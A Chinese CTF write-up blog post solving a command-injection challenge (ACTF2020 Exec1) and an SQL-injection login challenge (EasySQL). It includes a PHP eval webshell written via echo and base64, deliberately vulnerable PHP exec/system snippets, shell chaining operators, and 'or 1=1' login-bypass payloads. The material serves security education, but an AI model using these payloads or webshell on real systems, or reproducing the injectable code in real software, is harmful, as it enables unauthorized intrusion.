[ACTF2020] 新生赛]Exec1

目录

0x01命令执行

[ACTF2020 新生赛]Exec1

1、解法1

2、解法2

3、总结

3.1php命令注入函数

3.2java命令注入函数

3.3常见管道符

0x02SQL注入

[极客大挑战 2019]EasySQL1


0x01命令执行

[ACTF2020 新生赛]Exec1

a18da2566d2f8216f6e7d14c87c2048c.png

86708cfb3b472b4fedbe90dc95b55154.png

1、解法1

ping本地,有回显,TTL=42,应该是修改过的,无法根据此判断系统类型。

分别尝试window和Linux系统命令,判断类型。

5db0dc87ad82102aaa95c674f18bcfc7.png

查看本级目录

1430bc6d1edc658702706e7411b2fa5e.png

遍历目录,查看上级目录

eb3fab2d336afcf03150a7565e6a32e1.png

查看上上级目录

7de50cd6c4fb29d62b01da25394d5514.png

查看上上上级目录(到顶了),发现flag文件名

439854ae751994986a284146bec4a788.png

读它

8bae1b825b03501c93a4523e7ff91780.png

2、解法2

写入webshell,用蚁剑连接

 直接写入
 echo '<?php eval($_POST[1]); ?>' > 1.php
 ​
 base64编码写入
 echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php

写入

6362a75126a3a3c04bacf669bb388f4d.png

验证

f7a95dc61d2d78ce3433947f81263b44.png

连接

f703673ed530659a010cbfbfe6891cdf.png

a891d0d3e304849628c29029cf7b3e92.png

4c9e181ab87362128c0c81cf849d1a45.png

3、总结

3.1php命令注入函数

 exec() 、
 shell_exec() 、
 system() 、
 popen() 、 
 passthru() 、 
 proc_open() 、
 反引号`` 

exec:该函数无回显需使用 echo 进行输出,且只返回执行后的最后一行结果

 <?php
 $sys = $_REQUEST['value'];
 $cmd = exec($sys);
 echo $cmd;
 ?>

shell_exec():无回显需使用 echo 或者 var_dump 进行输出,但返回结果所有内容

 <?php
 $sys = $_REQUEST['value'];
 $cmd = shell_exec($sys);
 var_dump( $cmd);
 ?>

反引号`` :反引号其实调用的是shell_exec()函数,当反引号中的变量可控时就会造成命令执行,且无回显。

 <?php
 $sys = $_REQUEST['value'];
 $cmd = `$sys`;
 echo $cmd;
 ?>

system():有回显且返回所有内容。最常见的命令执行方式。如果目标是LInux则执行 Bash 命令,如果是Windows则执行 cmd 命令。

 //简单例子
 <?php
 $sys = $_REQUEST['value'];
 $cmd = system($sys);
 ?>

在ACTF2020新生赛Exec1该题中,后端逻辑为:

 <?php 
 if (isset($_POST['target'])) {
     system("ping -c 3 ".$_POST['target']);
 }
 ?>

popen(comnand,mode):该函数通常用于打开进程文件指针,但如果传入的参数可控也可造成命令执行,且该函数无回显,通过echo 不回直接返回执行的结果,而是返回的是文件指针。

 <?php
 $sys = $_REQUEST['value'];
 $cmd = popen($sys,'r');
 var_dump($cmd); ;
 ?>

passthru():与 system() 类似,也可将输入的参数当做命令执行,且函数执行后有回显。

<?php
$sys = $_REQUEST['value'];
$cmd = passthru($sys);
?>

proc_open():执行一个命令,并且打开用来输入/输出的文件指针。 类似 popen() 函数,

 

3.2java命令注入函数

java.lang.Runtime、
ava.lang.ProcessBuilder、
java.lang.UNIXProcess/ProcessImpl

 

3.3常见管道符

windows

| 直接执行后面的语句
|| 如果前面执行的语句出错,那么才执行后面的语句
& 前面和后面的语句都会被执行
&& 前面语句出错后面的语句也不执行,只有前面的语句成功执行才执行后面的语句

linux

| 直接执行后面的语句
|| 如果前面执行的语句出错,那么才执行后面的语句
& 前面和后面的语句都会被执行
&& 前面语句出错后面的语句也不执行,只有前面的语句成功执行才执行后面的语句
; 前面的语句执行完成后,继续执行后面的语句。(特有)

 

 

0x02SQL注入

[极客大挑战 2019]EasySQL1

a8b648a89d0f66c166edd6faea056a78.png

c2e75b5a3e61c9e296f53ec29690eebd.png

发现是登录界面,根据题目描述的提示,判断是SQL注入

随意输入用户名和密码,用hackbar LoadURL

a71eb4c72f25c7bf741c12a8f93e7978.png

构造payload查看错误提示

/check.php?username=admin'aa--&password=1111
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'aa--' and password='1111'' at line 1

a7297c20c3cea47f9318324398150b47.png

根据提示可以分析出的信息有:

1、数据库:MariaDB
2、SQL后端逻辑:username='$username' and password='$password'

既然是登录框,那肯定是要登录上去看看的

/check.php?username=admin' or 1=1 --+&password='--+

e0153819382af8facaa6593a88378c32.png

发现flag

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值